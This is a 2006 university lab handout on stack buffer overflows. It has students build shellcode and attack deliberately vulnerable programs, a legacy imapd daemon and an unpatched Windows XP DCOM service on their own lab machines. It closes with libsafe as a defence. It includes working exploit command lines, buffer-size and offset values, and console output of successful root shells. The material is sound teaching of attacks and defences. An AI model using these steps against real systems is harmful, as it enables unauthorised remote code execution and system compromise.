Lab 4 Buffer Overflow

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ECE4112 Internetwork Security
Lab 4: Buffer Overflows
Date Issued: September 19, 2006
Due Date: September 26, 2006
Last Edited: October 3, 2006
Lab Goal
This lab will introduce you to the memory stack used in computer processes and
demonstrate how to overflow memory buffers in order to exploit application security
flaws. You will then execute several buffer overflow attacks against your Linux and
Windows XP machines in order to gain root or administrative access using application
vulnerabilities.
Pre-Lab
The following readings are a must to understand this lab and complete it in a timely
manner.
1. Carefully read the entire article Smashing the Stack for fun and profit by Aleph One
(Appendix A). It is essential that you have a thorough understanding of this article before
you attempt these attacks, and although the author’s computer system differs from ours, it
will be useful as a reference during the lab.
Note: Correction to the Aleph One paper – For example3.c (the 9th page of Smashing the
Stack) , Aleph One says, “We can see that when calling function() the RET will be
0x8004a8. The next instruction we want to execute is the one at 0x8004b2. A little math
tells us the distance is 8 bytes.”
The number should be 10 bytes instead of 8 bytes.
2. Read the article
Secure programmer: Countering buffer overflows Preventing today's top vulnerability
David Wheeler (dwheelerNOSPAM@dwheeler.com), Research Staff Member, Institute
for Defense Analyses 27 Jan 2004 at:
http://www-128.ibm.com/developerworks/linux/library/l-sp4.html
and answer the question:
PLQ1: According to the article, what are the common problems with C/C++ which
allow buffer overflows?
3. For this prelab section, you will need to use a computer which has internet access and a
java enabled browser.
a. Go to the website: http://nsfsecurity.pr.erau.edu/bom/
b. Scroll down to the middle of the page.
c. We will be using the online demos of buffer overflow.
d. Read the section on “How to use the Demo applets” before beginning.
e. Complete the first 4 demos below (7 total), in the order listed. Be sure to use the “step”
feature and always read the helpful text in the lower left. The read-only areas in memory
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(top-right) have been color coded with the C functions. You will see that the stack is also
color coded as it starts growing (lower right) – be sure you understand the stack
manipulation before and after function calls.
Note: When asked for input, type in a long string and watch it erase data in the stack
memory.
Background
Although computer programs are frequently written in English-based user-friendly
languages such as C, they must be compiled to an assembly language built for the
machine on which they will be executed. The assembly language has much fewer
commands than C, and these commands are much less varying in structure and less
obvious semantically. Commands are stored in memory so that each is referenced by its
location in memory rather than its line number in the code. Commands are executed
sequentially, and functions are executed by jumping to a particular memory location,
continuing sequential execution, and jumping back at the end of the function.
A assembly language tutorial describing the conversion from C code to x86 assembly can
be found at:
http://linuxgazette.net/issue94/ramankutty.html
When a computer process is executed, it gains access to a portion of the computer’s
memory system. In the lower set of addresses of the allocated memory, the compiled
assembly instruction set is placed so that the computer can execute these instructions
directly from memory. This part of memory is generally flagged as read-only, and
attempting to modify it results in a segmentation fault. Segmentation faults can occur for
other reasons as well, such as if an invalid instruction is executed. At a higher portion of
addresses, variables are allocated and stored. Whenever a process saves some data to
memory (e.g. int a=4), they are placed in this region.
Finally, the highest portion of addresses contains the memory stack. The stack helps
coordinate the hierarchical execution of functions within applications. When a function is
called, a variable known as the frame pointer is pushed onto the stack, which references
the memory locations of variables local to the function. Next, since a function is executed
by a jump from a different location in memory, a return address is pushed onto the stack
so that the computer knows where in memory to return once the function has been
completed. Finally, when a function is passed variables (e.g. myfunc(a,b,c)) these
variables are also placed on the stack.
Theoretically, stack manipulation should be accomplished entirely by the process, which
allocates and sets pointers and variables at appropriate stages of execution, such as
function calls. The key to buffer overflow attacks is to maliciously manipulate the data in
the stack. By changing the return pointer, for example, it is possible for the process to
jump to a memory location containing user data rather than the correct location in the
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instruction set. If the user data is crafted to include malicious assembly commands, such
as a backdoor, these will be executed.
Finally, we’ll be taking a look at heap-overflows. Although heap overflows can be
exploited just as easily as stack overflows, they’re much less known. System
administrators often implement patches and precautions to prevent stack overflows but
leave the heaps completely open to attacks! Although we won’t be doing any exercises in
the lab about heap overflows, more information about it has been included as an appendix
(Appendix B).
Lab Scenario
For most of the lab, you will be using only your Red Hat 7.2 host machine. You will need
to use your Redhat 7.2 Copy virtual machine for remote buffer overflow attacks and you
will use your Windows XP virtual machine in an exercise to see how contemporary
attacks compromise windows systems.
Section I – Experimentation with “Smashing the Stack for fun
and profit” by Aleph One
Connect to Network Attached Storage, and copy the file Lab4/stacksmash.tgz to your
Red Hat 7.2 machine. Decompress it with the command:
tar zxvf stacksmash.tgz
Enter the stacksmash directory, and type make to compile. To recompile during the rest
of this section, follow the instructions specific to the exercise or simply type make again.
Exercise 1: The Stack Region
Source file: example1.c
For this section, the make file has compiled the source to assembly code using the
command:
gcc –S –o example1.s example1.c
Open the original c file and the assembly (.s) file in text editors and observe how the
assembly code maps to the c source. The assembly code will be slightly different than
what appears in the paper, because Aleph One’s computer is different from ours.
1) Draw a diagram of the process memory at the time that function is called.
Exercise 2: Buffer Overflows
Source file: example2.c
The make file has compiled our second example using the command
gcc –o example2 example2.c
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Observe the source code then execute the binary by typing ./example2
2) What are your results? Why?
Exercise 3: Return Pointer Redirection
Source file: example 3.c
Observe the source file. This exploit attempts first to create a pointer (ret) to the
function return address, then modify the return address value (*ret). At the end of the
function call, the function will return to an incorrect address.
The purpose of this exercise is to attempt to redirect the pointer and skip the “x=1”
line, so that the example prints “0.”
Read the paper carefully and try to understand how the exploit works. Use the
following commands to view the assembly code for the example:
gdb example3
disassemble main
Observe the assembly code memory addresses to determine the correct change of
the return address value in order to skip the x=1 line. Modify the line of the code
(*ret) += 8; appropriately.
Next, modify the return variable pointer line of the code
ret = buffer1 +12;
appropriately. The location of the return address pointer in memory cannot be
calculated explicitly, because it is dependent on your memory stack. You must
therefore use trial and error to determine the offset between buffer1 and the return
pointer. As a guide, remember that the offset must be at least the size of buffer1
and the frame pointer, and that although the offset is in bytes, it must be an
integral number of words.
3) Record the necessary code changes.
Exercise 4: Creating a Shell
Source file: shellcode.c
Shellcode.c executes a shell within its process, which we can then use to execute
other system commands. Observe the source file.
Type the following:
gcc –o shellcode –ggdb –static shellcode.c
gdb shellcode
disassemble main
disassemble__execve
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Make sure you have a clear understanding of the assembly code, using the paper
as a guide.
We are going to use this code to execute a shell from a victim program. First,
however, we want to make sure that after our shell code is executed our process
quits. Otherwise, if we were executing our code from inside data memory, the
computer could continue to execute data in memory, causing a core dump or
segmentation fault. We should view the assembly translation of the exit command
so that we can use this to stop the execution of our shell code after the __execve
call. This can be done by observing exit.c.
gcc –o exit –ggdb –static exit.c
gdb exit
disassemble _exit
In this case, the exit function is operating by pushing 0x1 to %eax and the exit
code (%edx) to %ebx.
Now, we must add a hex representation of the binary code to our program’s data
memory so that we can execute the binary code at runtime. First, let’s observe the
assembly code for our task. In separate windows, open the disassembled
shellcode, the disassembled exit, and the source file shellcodeasm.c. Notice that
the essential components of shellcode and exit have been placed into
shellcodeasm. We have changed our error code to a static zero.
Type:
gcc –o shellcodeasm –g –ggdb –static shellcodeasm.c
gdb shellcodeasm
disassemble main
to view your code.
Our intentions are now to copy these assembly commands into memory so that we
can have a process execute them. To do this, you must see the binary machine
code representations of the assembly code. Type x/bx main to see the
representation of the first line. For any other line (e.g. main+3) simply include the
offset (e.g. x/bx main+3).
We can now test our shell code by placing this machine code in data memory and
executing it. Observe testsc.c. The machine code values determined from x/bx
above have been placed in the character array shellcode. We then change the
return pointer to point to the beginning of this array so that the data is executed.
gcc –o testsc testsc.c
./testsc
After running this, you should have access to the shell prompt
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$ exit
This exploit worked, but because we are storing it as an array of characters, the
null character (\x00) in our string could potentially cause problems. To solve this
problem, we rewrite the assembly code to remove all null bytes
(shellcodeasm2.c). Using the same process as above, we then extract the machine
code once again, this time without any null characters for our string.
gcc –o shellcodeasm2 –g –ggdb shellcodeasm2.c
gdb shellcodeasm2
gcc –o testsc2 testsc2.c
./testsc2
You should now have a shell
$ exit
4) Explain why it was important to make this change to eliminate NULL
characters.
5) How did we modify the assembly code to remove null characters? (What
simple ways did we avoid using 0x00?)
Exercise 5: Writing an Exploit
Source file: exploit1.c
Observe the source code for this exercise. As in the previous case, we have copied
the machine code to execute a shell to the data memory. Next, we repeatedly copy
the memory address of this code, overflowing the memory stack and overwriting
the return address to our buffer location.
gcc –o exploit1 exploit1.c
./exploit1
You should now have a shell
$ exit
In all of the previous examples, we have created our shell by manipulating the
source code. When executing a buffer overflow attack, however, the hacker does
not have access to the source code itself. We will now try to execute an attack on
the program vulnerable.c.
The program vulnerable can be exploited using the buffer overflows seen above.
Look at the source code for this file. You can see that this application is
vulnerable because it copies an input value, of arbitrary length and at the
discretion of the user, to memory without any bound check. The buffer is only
512 bytes long, so the user can overflow this buffer by setting more than 512
bytes and manipulating other values, such as the return pointer.
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exploit2 is an attempt to gain access to a shell with root privileges by running
vulnerable. The exploit will create a buffer of data that includes the binary shell
code, and then contain a pointer value written many times, one of which will
hopefully overwrite the return pointer. The pointer value will hopefully contain
the location of the beginning of the buffer, so that the shell code will then be
executed. exploit2 will store this to an environment variable ($EGG) which we
will then pass as input to our vulnerable program.
Unfortunately, unlike in our previous examples, we do not know exactly where in
memory vulernable will place our buffer. We therefore must manually set the
address we wish to place into the return pointer by entering an offset: our guess as
the distance from the stack pointer to our malicious code. We also must determine
a size of a buffer to create to attempt to overwrite the return pointer. The buffer
size created by exploit2 must be large enough to overflow the return pointer, but
small enough to avoid a segmentation fault.
Using the instructions below and your knowledge of buffers, attempt to use
exploit2 to create a shell. If you do not receive a shell or you receive an error
message, you have failed and should attempt a different buffer size and offset. If
you are not successful after ten tries,
6) record your attempted values and why you chose them,
and continue with the lab. You will not lose credit for not succeeding in this
exploit as long as you justify your choices for buffer sizes and offsets.
./exploit2 [buffersize][offset]
./vulnerable $EGG
exit (if you succeeded in creating a shell)
exit (to leave a shell that exploit2 has spawned)
You may have realized that it is fairly hard to guess the correct exact offset to
execute the shell code. The next variation includes a string of NOP instructions to
simplify redirection.
Observe the file exploit3.c. Rather than placing our shell code at the beginning of
our buffer, we now fill the first half of the buffer with NOPs, or instructions that
have no effect, and start our shell code halfway through the buffer. Modify your
buffer size and offset, repeating until your exploit succeeds.
./exploit3 [buffersize][offset]
./vulnerable $EGG
exit (if you succeeded in creating a shell)
exit (to leave a shell that exploit3 has spawned)
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7) Record your successful exploit3 offset and
8) explain why this exploit was easier than exploit2.
Now that you have exploited vulnerable.c, re-open the file and observe where exactly the
buffer overflow has taken place. Add/change the code in the file to remove the
vulnerability, then re-run “./vulnerable $EGG”
9) What changes did you make to vulnerable.c?
Sections II – A Real World Exploit
imapd is a mail server program released by the University of Washington. This is a beta
version that is vulnerable to buffer overflows. An exploit on imap is particularly
dangerous because the daemon can be run as root, therefore anyone who compromises
the application has root access to the entire system. The following links give more
information about this exploit.
-
CERT Advisory CA-1997-09 and CA-1998-09
http://www.cert.org/advisories/CA-1997-09.html
http://www.cert.org/advisories/CA-1998-09.html
-
Bugtraq Mailing List – this link gives detailed explanation of the exploit
http://www.securityfocus.com/archive/1/9929
-
Imapd Buffer Overflow Discussion
http://www.securityhorizon.com/whitepapers/hvah/imapd.html
http://www.washington.edu/imap
Running imapd exploit on the same machine as the imapd server:
Open RedHat 7.2 which will be used for this exploit. Connect to the Network
Attached Storage and copy Lab4/imapd_exploit.tgz to your local machine.
Extract the file by typing:
tar zxvf imapd_exploit.tgz
then enter the directory by typing
cd imapd_exploit
View the network services currently running by typing
nmap localhost
Imap should not be running at this time. Install imapd and netcat by typing
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make
make install
make restart
Rerun nmap to make sure that imap2 is now running on the machine. Note the port on
which imap2 is running.
The exploit code needs netcat (/usr/sbin/nc, installed above) and cat in combination to
perform the buffer overflow. Netcat is the swiss army knife of the Internet, and has
many functions including the ability to send streams of data to a destination.
The exploit code makes use of a string of 942 NOP instructions and allows the user to
input an offset from which to attempt the attack.
To run the exploit, execute the following command:
(./imapd-ex offset; cat) | nc server port
server is the server to be attacked, or in this case localhost.
port is the port number to be attacked, and is the port of imap2.
offset is the offset from which to attempt the attack. Keep in mind the 942 NOP
instructions. A sample offset given by Xinzhou is 3000.
After running the exploit, type ls . If you receive a list of files, you have successfully
exploited imap2!
Running imapd exploit from a remote machine:
Copy the imapd-ex file created in the above step to your Red Hat 7.2 Copy machine,
or recopy the tar file from NAS and recompile. Execute imapd-ex from the RedHat
7.2 Copy and use your Red Hat 7.2 IP address instead of localhost.
Again type ls to view files on your Virtual Machine without logging in. Try typing
other commands, such as /sbin/ifconfig, /usr/sbin/adduser, and whoami to see the
privileges you have gained through the exploit. If a hacker were able to gain root
privileges, he or she would have complete control over the victim.
Record the successful offset used and the privileges gained
Section III – Common Vulnerabilities
Introduction:
In order to further experiment with buffer overflows and their effects, four programs have
been created with specific types of vulnerabilities. Copy the file Lab4/Vulnerable.tgz to
your Red Hat 7.2 machine and then extract the file. The tarred file will extract to the
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“lab” directory. We employ the last exploit program from Section I to attack the
vulnerable programs.
Type make to compile the programs: adjacent, cmdline, input, and remote. The Aleph
One exploit has also been included, and has been entitled exploit.
Buffer Overrun:
Before getting into the more detailed stack smashing attacks we will show a simple buffer
overrun vulnerability. The source file adjacent.c (compiles to adjacent) has two adjacent
buffers, storeddata and userinput, both 16 characters (or bytes) long. If you read the
source file, you will notice that both buffers have their contents unconditionally set to
zero. Occasionally you may encounter a dirty stack frame and your buffers will not be
completely empty. The string function bzero( buffer_pointer, buffer_length) is used to
clear out a buffer.
The program will print out the contents of the two buffers to show you what is in them.
The buffer storeddata will always contain the string "abcdefghijkl" . In the source file
you will notice an explicit null character, '\0', is added to the end of the string. Without a
terminating null character, most string functions will not stop at the end of the string's
buffer. This is a critical piece of information.
A buffer overrun occurs when a string function reads past the end of a string (or
character) buffer. In this example, you will see that the program does not allow the user
to input more data into storedata than the size of the array, 16. Logically it is correct.
Now lets try out the "adjacent" program.
1. Enter a string of some length less than 16 (not including the newline or carriage
return) by typing
./adjacent
and then at the prompt enter your own string. The final print statement will show
you the proper length and contents of the each buffer on the screen. Note this
works just as you expect.
2. Enter a string of length exactly 16 (not including the newline or carraige return)
In the final print statement, you will notice that inputbuffer is now 28 characters
long. storeddata remains the same length and its contents are untouched. How
can inputbuffer have 28 characters in it, it is only allowed 16?
3. enter a string of length greater than 16 (not including the newline or carriage
return)
In the final print statement you will notice that inputbuffer is again 28 characters
long and storeddata is untouched.
11) What is the cause of this behavior?
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12) Modify adjacent.c to remove this “undesired” behavior. What were your code
modifications?
The Exploit Program:
This program is similar to the final exploit of Section 1, but has been reformatted for
legibility with comments added to it.
In Section 1, we used the exploit program to overflow a relatively large buffer, so we
were able to copy all of the shell code to this buffer and then copy the return address
afterwards to the return pointer. The exploit program does not work very well on small
buffers, because the NOP sled or shellcode itself would overwrite the return instruction
pointer. In order to target a small buffer you should instead start with the memory
locations, followed by the NOP sled leading into the shellcode.
Open the include file stackinfo.h, which contains a simple macro called SHOW_STACK
and a function called inspect_buffer. The two combine to provide users with information
about the original saved return instruction pointer and let one see if the return instruction
pointer will redirect to somewhere in the NOP sled.
SHOW_STACK prints:



The value of the Stack pointer register
The value of Frame pointer register and the value that the Frame pointer register
points to (which is the saved frame pointer of the previous stack)
The memory location of the saved return pointer and the memory location that the
saved return pointer points to.
Example:
Stack:bffff4c0, Frame:bffff6c8[bffff708], Next Instruction:bffff6cc[40046507]
The function inspect_buffer takes as input the buffer containing attack code. If you don't
run exploit before this function is called, you are very likely to crash the example
programs because they search for the environment variable called EGG. inspect_buffer
will report back to the user what memory locations contain NOPS so as to help us find if
the return instruction pointer points to somewhere in the NOP sled. This may not be the
case if we have not over written the return instruction pointer or have not put our buffer
into the stack at a good point.
Here is some sample output from inspect_buffer:
Targetting range bffff775 to bffff88e
Stack Overwrite from bffff8c1 to bffff9d5
bffff88e <= bffff898 < bffff775?
The line
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[280 byte range]
[280 byte range]
281 <= 291 < 0
Targetting range <lower address> to <high address> [<byte range>]
reports the lower and upper memory address of the NOP sled and the range of bytes that
it spans. Now we know where the NOPS are located.
The line
Stack Overwrite from <lower address> to <high address> [<byte range>]
shows the range of address that the memory redirection address overwrites. Now we
know where the desired return address values are written. We want one of these locations
to be the stack return address memory so that when the stack goes to the return address
memory location, it will get a value the hacker wants it to use instead of the good original
value that was in that memory location.
The line
Upper Address<= Target < Lower Address? Upper bound <= Target < 0
shows the upper and lower memory address for the NOP sled. The NOP sled high
memory location is on the left, the return address that the exploit program has identified
for us to use and overwrite with is in the middle, and the right hand value is the lower
memory address that contains NOPS. We want the middle value to be in between the
other two values. (Note that we actually want the less than signs reversed: upper address
should be larger than target should be larger than lower address) If that is the case then
the return instruction value points into the NOP sled as desired by the hacker.
The part after the question mark has the lower address subtracted from both values to
give you an idea if your return address value is within this desired range.
One condition for this whole thing to work is that the return address must point to our
NOP sled. A second condition that must also be met is that the return address must have
been overwritten with that value. To see if we did in fact overwrite the return address we
use the values from show_stack both before and after the exploit program and the actual
buffer overflow have occurred. If the value of the return instruction memory location is
the same both before and after, we have failed to overwrite. We need to either change the
buffer size we are writing into the stack or the offset where the buffer is written into the
stack. As an example of a failure:
===========================
Stack:bffff4c0, Frame:bffff6c8[bffff708], Next Instruction:bffff6cc[40046507]
Stack:bffff4c0, Frame:bffff6c8[bffff708], Next Instruction:bffff6cc [40046507]
===========================
As an example of a success:
===========================
Stack:bffff400, Frame:bffff608[bffff648], Next Instruction:bffff60c[40046507]
Stack:bffff400, Frame:bffff608[bffffa78], Next Instruction:bffff60c[bffffa78]
===========================
Task 1: Use a buffer overflow to exploit command line vulnerabilities
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Cmdline is very similar to the first program we observed, vulnerable. A value of arbitrary
size from the command line is copied to a buffer which is only 512 bytes. Cmdline differs
in that it displays a significant amount of extra information about the stack at runtime.
Because the program includes new functions and function calls, the results will not be
identical to that of vulnerable. The functions will, however, give extra data that will aid
in the analytical selection of buffer sizes and offsets, rather than simply using trial and
error.
Example of exploiting cmdline:
Observe a sample run of cmdline using the default buffer size and offset.
[root@fred lab]# ./exploit
Using address: 0xbffffa88
[root@fred lab]# ./cmdline $EGG
Inspect environment variables
Targetting range bffffc95 to bffffd7c
Stack Overwrite from bffffdad to bffffe91
bffffd7c <= bffffa88 < bffffc95?
[230 byte range]
[232 byte range]
231 <= -525 < 0
Inspect argument variables
Targetting range bffff83d to bffff924
Stack Overwrite from bffff955 to bffffa39
bffff924 <= bffffa88 < bffff83d?
[230 byte range]
[232 byte range]
231 <= 587 < 0
===========================
Stack:bffff4c0, Frame:bffff6c8[bffff708], Next Instruction:bffff6cc[40046507]
Stack:bffff4c0, Frame:bffff6c8[bffff708], Next Instruction:bffff6cc[40046507]
===========================
Inspect stack variables
Targetting range bffff4c0 to bffff5a7
[230 byte range]
Stack Overwrite from bffff5d8 to bffff6bc
[232 byte range]
bffff5a7 <= bffffa88 < bffff4c0?
231 <= 1480 < 0
[root@fred lab]# exit
This did not result in the shell we desired. Let’s observe why.
In the output, the value 0xbffffa88 is the target for the NOP sled. Next we see some
information about the memory contents.
The ENV part of the stack contains our environment variable, $EGG.
Inspect environment variables
Targetting range bffffc95 to bffffd7c
Stack Overwrite from bffffdad to bffffe91
bffffd7c <= bffffa88 < bffffc95?
[230 byte range]
[232 byte range]
231 <= -525 < 0
NOPS have been found in the address range of bffffc95 to bffffd7c
We are not overwriting the stack in this part, so ignore the second line.
The third line tells us that the place where the NOP sled was found (which is in $EGG) is
–525 locations away from the local stack pointer. Since this is the environment part of the
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stack we do not really care where the NOP sled is in the environment part of the stack,
we just wanted the program to put it in there somewhere so we can copy it later.
The next part of the example output is from the ARGV part of the stack, to which we
have copied $EGG.
Inspect argument variables
Targetting range bffff83d to bffff924
Stack Overwrite from bffff955 to bffffa39
bffff924 <= bffffa88 < bffff83d?
[230 byte range]
[232 byte range]
231 <= 587 < 0
Here we see the location of the copy of $EGG’s NOP slide.
The last line tells us that the target address bffffa88 does not fall within the NOP sled that is
in the argument part of the stack.
The output now shows us
===========================
Stack:bffff4c0, Frame:bffff6c8[bffff708], Next Instruction:bffff6cc[40046507]
Stack:bffff4c0, Frame:bffff6c8[bffff708], Next Instruction:bffff6cc[40046507]
===========================
The important values here are the contents of the next instruction pointers. The next
instruction which is contained in memory location bffff6cc has the value of [40046507] both
before and after our copy. The next instruction has not changed, therefore we have not
successfully overwritten the next instruction pointer.
The output now shows us some information from the Stack “part of the stack.”
Inspect stack variables
Targetting range bffff4c0 to bffff5a7
Stack Overwrite from bffff5d8 to bffff6bc
bffff5a7 <= bffffa88 < bffff4c0?
[230 byte range]
[232 byte range]
231 <= 1480 < 0
We have overwritten our return address in the stack from bffff5d8 to bffff6bc, but we know
from above that we did not change the return address pointer, so it is not in this range.
The return address we have written, bffffa88, is outside of our NOP sled, bffff4c0 to bffff5a7.
We have two problems at the moment with the values we are using in the exploit
program. First, we did not overwrite the return instruction value. Second, the address we
overwrote many times would not place us on our NOP slide.
Let’s first try to fix the first problem of not overwriting the next instruction pointer value.
We do this by adding an argument to use a buffer size of 612 instead of the default 512.
(After all the buffer we are trying to overflow is 512 bytes in size).
Now we try again by doing the commands
./exploit 612
./cmdline $EGG
[root@fred lab]# ./exploit 612
Using address: 0xbffffa78
[root@fred lab]# ./cmdline $EGG
….
Stack:bffff400, Frame:bffff608[bffff648], Next Instruction:bffff60c[40046507]
Stack:bffff400, Frame:bffff608[bffffa78], Next Instruction:bffff60c[bffffa78]
===========================
14
Inspect stack variables
Targetting range bffff400 to bffff519
Stack Overwrite from bffff54c to bffff660
bffff519 <= bffffa78 < bffff400?
[280 byte range]
[280 byte range]
281 <= 1656 < 0
Once again we did not get the shell we wanted . We did get a segmentation fault and
noticed that the next instruction changed, so we successfully overwrote the instruction
pointer. Unfortunately what we overwrote did not point to our NOP sled.
We can see from the last line that we have missed were we want to be by about 1500 and
thus need to re-run the “./exploit” with an offset to move where we start writing our NOP
sled.
Now we try again by doing the commands
./exploit 612 1500
./cmdline $EGG
===========================
Stack:bffff400, Frame:bffff608[bffff648], Next Instruction:bffff60c[40046507]
Stack:bffff400, Frame:bffff608[bffff48c], Next Instruction:bffff60c[bffff48c]
===========================
Inspect stack variables
Targetting range bffff400 to bffff519
[280 byte range]
Stack Overwrite from bffff54c to bffff660
[280 byte range]
bffff519 <= bffff48c < bffff400?
281 <= 140 < 0
Note we did get the shell we were after.
Do this exercise yourself, identifying a correct buffer size and offset. If the exploit runs
properly, you should have access to the shell. You will not have a prompt but you will be
able to do commands like ls. Typing exit will get you out of the shell and back to prompt.
A second exit will get rid of the exploit process that is running
Copy your output to a text file using cut and paste and turn in the successful output
proving you were able to create a shell with this overflow.
13) Modify cmdline.c to remove this vulnerability. What changes did you make?
Task 2: Use buffer overflow to exploit user input vulnerabilities
Observe the source code for input.c. This program, similar to adjacent, allows a user to
input a set of text. You can use the exploit program to send the $EGG environment
variable to input with the command:
./exploit [buffersize][offset]
(echo $EGG;cat) | ./input
If this exploit runs properly, you should have access to the shell at the end.
Example:
[root@fred lab]# ./exploit 512 900
Using address: 0xbffff6e4
[root@fred lab]# (echo $EGG;cat) | ./input
15
Inspect environment variables
Targetting range bffffc99 to bffffd80
Stack Overwrite from bffffdb1 to bffffe95
bffffd80 <= bffff6e4 < bffffc99?
[230 byte range]
[232 byte range]
231 <= -1461 < 0
Stack:bffff6d0, Frame:bffff8d8[bffff918], Next Instruction:bffff8dc[40046507]
please input a 16 character string:
Inspect stack variables
Targetting range bffff6d0 to bffff7b7
[230 byte range]
Stack Overwrite from bffff7e8 to bffff8cc
[232 byte range]
bffff7b7 <= bffff6e4 < bffff6d0?
231 <= 20 < 0
Stack:bffff6d0, Frame:bffff8d8[bffff918], Next Instruction:bffff8dc[40046507]
Notice we did not overwrite the next instruction pointer since its value did not
change before and after. Thus we need to increase the buffer size from 512 to
something larger so as to overwrite it. Note however, we were successful in the
exploit choice of a return address pointing to inside the NOP sled.
14) Record the buffer size and offset used to successfully exploit input.
Task 3: Use buffer overflow to exploit network vulnerabilities
Observe the source code for remote.c. In this application, the function gets causes
information sent over the network to the application’s listening port to be copied to
memory. We will use netcat to send our malicious $EGG input.
Open a terminal and run:
./remote 4200
(4200 is the port on which that the remote server will be running)
In a second terminal run:
./exploit [buffersize] [offset]
(echo $EGG;cat) | nc localhost 4200
If this exploit runs properly, you should have access to the shell at the end (not
necessarily with a prompt). You may have to change the buffer size and the offset values
in the exploit call.
15) Record your successful buffer size and offset values.
Copy your output to a text file using cut and paste and turn in the output and the
output of a successful run of whoami from the exploited shell prompt.
Section IV – A Contemporary Vulnerability
Buffer overflow vulnerabilities are extremely common in modern computing. In the final
section, we will observe a vulnerability that exists in Windows 2000 Serivce Packs 0-4
16
and Windows XP Service Packs 0-1. The vulnerability was eventually patched in August,
2003.
The vulnerability makes use of the Windows DCOM RPC service, which is run
automatically with Administrator privileges on both TCP and UDP port 135. The service
is designed to allow computers to request services from each other, however it does no
size checking on the input buffer.
Connect to Network Attached Storage, and copy the file Lab4/dcom.c to your Red Hat
7.2 machine. Compile dcom with:
gcc –o dcom dcom.c
Now run
./dcom
to see your command line options.
Your target will be your Windows XP Machine. It is currently not running any service
packs (SP0).
Run the exploit, and if you receive a command prompt execute several commands such
as dir and cd. Copy your results to a text file and include it with your report.
After you exit, this exploit will cause Windows XP to crash.
16) Take a screenshot of your crashing system and include it with your report.
(Note: depending on the status of your Windows XP system, it is possible that this
vulnerability will cause XP to crash immediately. If so, allow it to reboot and try again).
For a very long time, this exploit could be used to install a backdoor and/or crash any
Windows 2000 or Windows XP machine remotely.
17) What steps could a system administrator take to prevent this problem?
Section V – Libsafe – A Stack Buffer Overflow Preventive
Measure
Probably at this point, you might be thinking that the only way to prevent such stack
buffer overflow attacks from happening is to just pray that the original developer
properly checked his buffers in his code. Considering that in reality this is usually not the
case, the idea of preventing buffer overflow exploits from happening seems hopeless.
Well, actually, that is not true. There are preventive measures that are available and being
developed now. Traditionally, preventive measures on Linux have come in the form of
kernel patches. These patches usually monitor system calls in the operating system and
try to stop unusual or suspicious system calls made by potentially malicious code. In this
case, one will have to recompile the kernel properly with the patch and hope it works out.
17
For the purposes of this lab, it would seem unreasonable to make a copy of a kernel and
wait for a long time to recompile the kernel just to see a buffer overflow exploit
prevented. Instead, we will use another type of preventive measure. We are going to
install libsafe, a dynamically loadable library that does not require any recompilation.
Connect to the Network Attached Storage, and copy the rpm package libsafe-2.016.i386.rpm from the Lab4 folder to your Red Hat 7.2 machine. Now install the package
by opening a terminal window and typing the following command:
 rpm -ivh libsafe-2.0-16.i386.rpm
There should be no problems installing this package. Now we are going to use Mozilla to
take a look at the html man page on libsafe. Click on the main menu button on the bottom
panel in the bottom left corner (the red fedora hat) and then highlight “Internet” and then
select “Web Browser.” This should bring up the web browser Mozilla. Now click on
Mozilla’s File menu and select “Open File.” Now type in /usr/doc/libsafe-2.0/doc/ in the
“File Name” text box and hit enter. You should see a file called libsafe.8.html, doubleclick it to open the file. The libsafe man page should look like what is in Figure 1, and
now take the time to read it. (It is quite short.)
Figure 1. The html libsafe man page.
This is the basic lesson you should get out of the man page. Libsafe is a library that
protects against stack buffer overflow exploits by intercepting all function calls made to
18
library functions that are known to be vulnerable (such as strcpy, which we have
exploited in this lab). It executes a substitute version and checks to see if a buffer
overflow will occur within the current stack frame. If the buffer overflow will overwrite
the return address with a value that will direct execution of the program outside the
current process stack frame, then most likely a stack buffer overflow attack is being
executed, and libsafe will stop it. If you have been paying attention to what has been
going on in the lab, this is exactly the type of exploit we have been executing.
(If you are interested in a more detailed explanation of how libsafe works, it is
recommended that you go Avaya’s Lab Research website at
http://www.research.avayalabs.com/project/libsafe/ and click on the PDF files under the
“Presentations & Publications” section at the bottom of their webpage. These papers are
much shorter than Aleph One’s paper, and they should help reinforce understanding the
type of exploit we have been executing in this lab.)
So let’s see libsafe prevent such an exploit. In your terminal window, go back to the
directory where your exploit and cmdline programs are that you have executed previously
in this lab. Go ahead and run the exploit and the cmdline programs again like you did
previously in Section III – Task 1. Remember, however, to undo the changes you made to
the code. If you don’t, there will be no vulnerability for Libsafe to guard. Libsafe should
have stopped the exploit from being executed, and the output on your terminal should
look similar to Figure 2.
18) Copy this output to a text file and turn it in with your lab.
[root@group24-4893 lab]# ./exploit 612 100
Using address: 0xbffff6c4
[root@group24-4893 lab]# ./cmdline $EGG
Inspect environment variables
Targetting range bffff970 to bffffa89
Stack Overwrite from bffffabc to bffffbd0
bffffa89 <= bffff6c4 < bffff970?
[280 byte range]
[280 byte range]
281 <= -684 < 0
Inspect argument variables
Targetting range bffff674 to bffff78d
Stack Overwrite from bffff7c0 to bffff8d4
bffff78d <= bffff6c4 < bffff674?
[280 byte range]
[280 byte range]
281 <= 80 < 0
===========================
Stack:bffff300, Frame:bffff508[bffff528], Next
Instruction:bffff50c[420158d4]
Libsafe version 2.0.16
Detected an attempt to write across stack boundary.
Terminating /home/tools/lab/cmdline.
uid=0 euid=0 pid=2362
Call stack:
0x40015871 /lib/libsafe.so.2.0.16
0x4001597a /lib/libsafe.so.2.0.16
0x8048834
/home/tools/lab/cmdline
Figure 2. Libsafe
preventing a stack buffer overflow exploit
0x420158cf
/lib/i686/libc-2.2.93.so
Overflow caused by strcpy()
Killed
[root@group24-4893 lab]#
19
in cmdline.
Libsafe apparently detected our attempt to write across the stack boundary which is what
we needed to do to rewrite cmdline’s return address in order to start executing our
malicious code. You should notice also that it determined that the overflow was caused
with the library function strcpy, which is at the center of our exploit. This is pretty nifty.
However, consider some of the pros and cons of this strategy. Libsafe concentrates
monitoring on a system-wide level through the library space, not the kernel or user space
of the operating system. This is nice in the sense that this solution does not require
recompilation of the kernel or directly interfering with programs that a user is trying to
run. However, libsafe can only determine exploits that use the list of library functions that
it knows have vulnerabilities to stack buffer overflows. If the attacker is able to create a
stack buffer overflow exploit without using libsafe’s list of vulnerable library functions, it
is possible that the libsafe will never detect the exploit and the attack has a good chance
of succeeding. Therefore, while libsafe is a nice solution that can easily implemented, it
still does not replace the real prevention of buffer overflow attacks, which is properly
checking buffers in the code of programs.
That is all. Remember to copy the libsafe output to a text file, and turn it in with your lab.
Also, go ahead and uninstall the libsafe library by executing the following command:
 rpm -e libsafe
